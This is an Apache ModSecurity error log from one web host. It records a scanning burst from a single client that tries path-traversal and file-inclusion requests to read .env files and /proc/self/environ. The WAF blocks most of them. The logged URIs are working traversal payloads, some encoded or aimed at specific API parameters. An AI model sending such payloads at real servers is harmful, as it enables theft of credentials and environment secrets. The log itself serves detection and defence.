[Sun Oct 25 10:21:37.855765 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at4Qceg7UwOwl8XKB5KOKAAAAA8"]
[Sun Oct 25 10:21:37.862308 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjgAAAAs"]
[Sun Oct 25 10:21:37.862369 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjgAAAAs"]
[Sun Oct 25 10:21:37.862513 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjgAAAAs"]
[Sun Oct 25 10:21:37.862751 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjgAAAAs"]
[Sun Oct 25 10:21:37.868297 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at4QcWfNJowUWx98rtMe-AAAABU"]
[Sun Oct 25 10:21:37.868362 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at4QcWfNJowUWx98rtMe-AAAABU"]
[Sun Oct 25 10:21:37.868537 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at4QcWfNJowUWx98rtMe-AAAABU"]
[Sun Oct 25 10:21:37.868769 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at4QcWfNJowUWx98rtMe-AAAABU"]
[Sun Oct 25 10:21:37.871573 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at4QcUcC0oseVu5Uow-7OwAAABA"]
[Sun Oct 25 10:21:37.871730 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/../../.env"] [unique_id "at4QcYs0PO57ZJRY6eGLlgAAAAg"]
[Sun Oct 25 10:21:37.871746 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at4QcUcC0oseVu5Uow-7OwAAABA"]
[Sun Oct 25 10:21:37.871754 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/../../.env"] [unique_id "at4QcYs0PO57ZJRY6eGLlgAAAAg"]
[Sun Oct 25 10:21:37.871991 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at4QcUcC0oseVu5Uow-7OwAAABA"]
[Sun Oct 25 10:21:37.872146 2026] [core:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] AH10244: invalid URI path (/%2e%2e/.env)
[Sun Oct 25 10:21:37.872793 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at4QcR_LOhWZWHwxzGuzawAAAAo"]
[Sun Oct 25 10:21:37.872857 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at4QcR_LOhWZWHwxzGuzawAAAAo"]
[Sun Oct 25 10:21:37.873014 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at4QcR_LOhWZWHwxzGuzawAAAAo"]
[Sun Oct 25 10:21:37.873229 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at4QcR_LOhWZWHwxzGuzawAAAAo"]
[Sun Oct 25 10:21:37.874001 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at4QcYxkYfnWL-SU_mhrjAAAAA0"]
[Sun Oct 25 10:21:37.874059 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at4QcYxkYfnWL-SU_mhrjAAAAA0"]
[Sun Oct 25 10:21:37.874201 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at4QcYxkYfnWL-SU_mhrjAAAAA0"]
[Sun Oct 25 10:21:37.874402 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at4QcYxkYfnWL-SU_mhrjAAAAA0"]
[Sun Oct 25 10:21:38.291229 2026] [core:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] AH10244: invalid URI path (/appearance/../../.env)
[Sun Oct 25 10:21:38.320494 2026] [core:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42704] AH10244: invalid URI path (/appearance/../../proc/self/environ)
[Sun Oct 25 10:21:38.324679 2026] [core:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42678] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Sun Oct 25 10:21:38.325165 2026] [core:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Sun Oct 25 10:21:38.346146 2026] [core:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Sun Oct 25 10:21:38.540433 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.540525 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.540564 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.540602 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.540749 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.541785 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.541862 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.541928 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.541956 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.542073 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4Qcqdvx8t8UZpJmR8kegAAABc"]
[Sun Oct 25 10:21:38.543240 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QchjDdGZa_VoIlCrpkAAAAAs"]
[Sun Oct 25 10:21:38.543461 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QchjDdGZa_VoIlCrpkAAAAAs"]
[Sun Oct 25 10:21:38.543743 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QchjDdGZa_VoIlCrpkAAAAAs"]
